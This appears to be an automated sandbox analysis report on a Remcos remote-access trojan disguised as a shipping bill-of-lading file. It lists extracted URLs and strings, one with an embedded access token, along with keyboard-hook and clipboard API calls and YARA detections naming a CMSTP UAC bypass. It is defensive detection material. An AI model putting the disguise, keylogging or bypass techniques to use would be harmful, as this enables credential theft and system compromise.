                  Source: Adobe.exeString found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
                  Source: Adobe.exe, 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
                  Source: Adobe.exe, 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)
                  Source: global trafficDNS traffic detected: DNS query: geoplugin.net
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertCloudServicesCA-1.crt0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertCloudServicesCA-1-g1.crl0?
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl4.digicert.com/DigiCertCloudServicesCA-1-g1.crl0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0~
                  Source: Adobe.exe, 00000005.00000002.4500045437.0000000001482000.00000004.00000020.00020000.00000000.sdmp, Adobe.exe, 00000005.00000002.4500045437.0000000001473000.00000004.00000020.00020000.00000000.sdmp, Adobe.exe, 00000005.00000002.4500045437.0000000001437000.00000004.00000020.00020000.00000000.sdmp, bhvAA55.tmp.6.drString found in binary or memory: http://geoplugin.net/json.gp
                  Source: Adobe.exe, 00000005.00000002.4500045437.0000000001482000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp%Ea
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmp, Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmp, Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
                  Source: Adobe.exe, 00000005.00000002.4500045437.0000000001437000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpf
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://ocsp.digicert.com0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://ocsp.digicert.com0:
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://ocsp.digicert.com0H
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://ocsp.digicert.com0I
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://ocsp.msocsp.com0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://ocsp.msocsp.com0S
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://ocspx.digicert.com0E
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://www.digicert.com/CPS0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://www.digicert.com/CPS0~
                  Source: Adobe.exe, Adobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com
                  Source: Adobe.exe, Adobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.com
                  Source: Adobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
                  Source: Adobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comr
                  Source: bhvAA55.tmp.6.drString found in binary or memory: http://www.msftconnecttest.com/connecttest.txt?n=1696428304750
                  Source: Adobe.exe, 00000006.00000002.2145822794.0000000000DF4000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net
                  Source: Adobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net/
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=P
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaotak
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, Adobe.exe.3.drString found in binary or memory: https://api.particle.io/v1/devices/13300350003473433373737385/digitalread?access_token=Q235ad2c91cac
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://config.edge.skype.com/config/v1/Skype/1446_8.53.0.77?OSVer=10.0.19045.2006&ClientID=RHTiQUpX
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://ecs.nel.measure.office.net?TenantId=Skype&DestinationEndpoint=Edge-Prod-LAX31r5a&FrontEnd=AF
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://fp-afd-nocache.azureedge.net/apc/trans.gif?77686a33b2eafa1538ef78c3be5a5910
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://fp-afd-nocache.azureedge.net/apc/trans.gif?caa2cf97cacae25a18f577703684ee65
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://fp-afd.azurefd.us/apc/trans.gif?0cf92be82316943650f2ee723bc6949e
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://fp-afd.azurefd.us/apc/trans.gif?94fb5ac9609bcb4cda0bf8acf1827073
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://fp-vp.azureedge.net/apc/trans.gif?7e9591e308dbda599df1fc08720a72a3
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://fp-vp.azureedge.net/apc/trans.gif?c6a2869c584d2ea23c67c44abe1ec326
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://fp.msedge.net/conf/v1/asgw/fpconfig.min.json
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                  Source: Adobe.exeString found in binary or memory: https://login.yahoo.com/config/login
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2.css
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOq
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2.js
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://maps.windows.com/windows-app-web-link
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2023-10-04-14-10-35/PreSignInSettingsConfig.json
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/dfb21df16475d4e5b2b0ba41e6c4e842c100b150.xml?OneDriveUpdate=4954a0
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/ew-preload-inline-2523c8c1505f1172be19.js
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/otel-logger-104bffe9378b8041455c.js
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-35de8a913e.css
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-async-styles.a903b7d0ab82e5bd2f8a.chunk.v7.css
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bootstrap-5e7af218e953d095fabf.js
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-0debb885be07c402c948.js
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-994d8943fc9264e2f8d3.css
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-fluent~left-nav-rc.ec3581b6c9e6e9985aa7.chunk.v7.js
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-forms-group~mru~officeforms-group-forms~officeforms
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-left-nav-rc.6c288f9aff9797959103.chunk.v7.js
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-mru.9ba2d4c9e339ba497e10.chunk.v7.js
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendor-bundle-1652fd8b358d589e6ec0.js
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.52c45571d19ede0a7005.chunk.v7.j
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.d918c7fc33e22b41b936.chunk.v7.c
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwaunauth-9d8bc214ac.css
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedfontstyles-27fa2598d8.css
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedscripts-939520eada.js
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticpwascripts-30998bff8f.js
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticstylesfabric-35c34b95e3.css
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/hero-image-desktop-f6720a4145.jpg
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/lockup-mslogo-color-78c06e8898.png
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/microsoft-365-logo-01d5ecd01a.png
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-apps-image-46596a6856.png
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-checkmark-image-1999f0bf81.png
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/versionless/officehome/thirdpartynotice.html
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_regular.woff2
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_semibold.woff2
                  Source: Adobe.exe, Adobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
                  Source: Adobe.exeString found in binary or memory: https://www.google.com/accounts/servicelogin
                  Source: bhvAA55.tmp.6.drString found in binary or memory: https://www.office.com/

                  Key, Mouse, Clipboard, Microphone and Screen Capturing

                  barindex
                  Contains functionality to register a low level keyboard hook
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,000000003_2_0040A2B8
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,3_2_0040B70E
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,3_2_004168C1
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,6_2_0040987A
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,6_2_004098E2
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,10_2_00406DFC
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,10_2_00406E9F
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,11_2_004068B5
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,11_2_004072B5
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,3_2_0040B70E
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,3_2_0040A3E0

                  E-Banking Fraud

                  barindex
                  Yara detected Remcos RAT
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000011.00000002.2257711507.0000000001357000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000013.00000002.2339042347.0000000001627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.2041417968.0000000001507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.4500045437.0000000001437000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000D.00000002.2175641992.0000000000E57000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7348, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7492, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7636, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7960, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 5988, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 5804, type: MEMORYSTR

                  Spam, unwanted Advertisements and Ransom Demands

                  barindex
                  Contains functionalty to change the wallpaper
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041C9E2 SystemParametersInfoW,3_2_0041C9E2

                  System Summary

                  barindex
                  Malicious sample detected (through community Yara rule)
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                  Source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                  Source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                  Source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                  Source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                  Source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                  Source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                  Source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                  Source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                  Source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                  Source: 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                  Source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                  Source: 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                  Source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7348, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                  Source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7492, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess Stats: CPU usage > 49%
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,6_2_0040DD85
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00401806 NtdllDefWindowProc_W,6_2_00401806
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_004018C0 NtdllDefWindowProc_W,6_2_004018C0
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_004016FD NtdllDefWindowProc_A,10_2_004016FD
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_004017B7 NtdllDefWindowProc_A,10_2_004017B7
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_00402CAC NtdllDefWindowProc_A,11_2_00402CAC
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_00402D66 NtdllDefWindowProc_A,11_2_00402D66
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,3_2_004167B4
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_02E043E80_2_02E043E8
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_02E0E0940_2_02E0E094
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_02E070510_2_02E07051
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_0591F7880_2_0591F788
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_059141C40_2_059141C4
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_05916D330_2_05916D33
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_0591F7780_2_0591F778
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_0591C8300_2_0591C830
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_059100400_2_05910040
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_0591C8400_2_0591C840
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_0591CAD80_2_0591CAD8
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_0591CAC70_2_0591CAC7
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_077272700_2_07727270
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_077291F00_2_077291F0
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_0772DF700_2_0772DF70
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_07726E380_2_07726E38
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_07726E280_2_07726E28
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_07726A000_2_07726A00
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_077289180_2_07728918
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 0_2_077289080_2_07728908
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0043E0CC3_2_0043E0CC
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041F0FA3_2_0041F0FA
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004541593_2_00454159
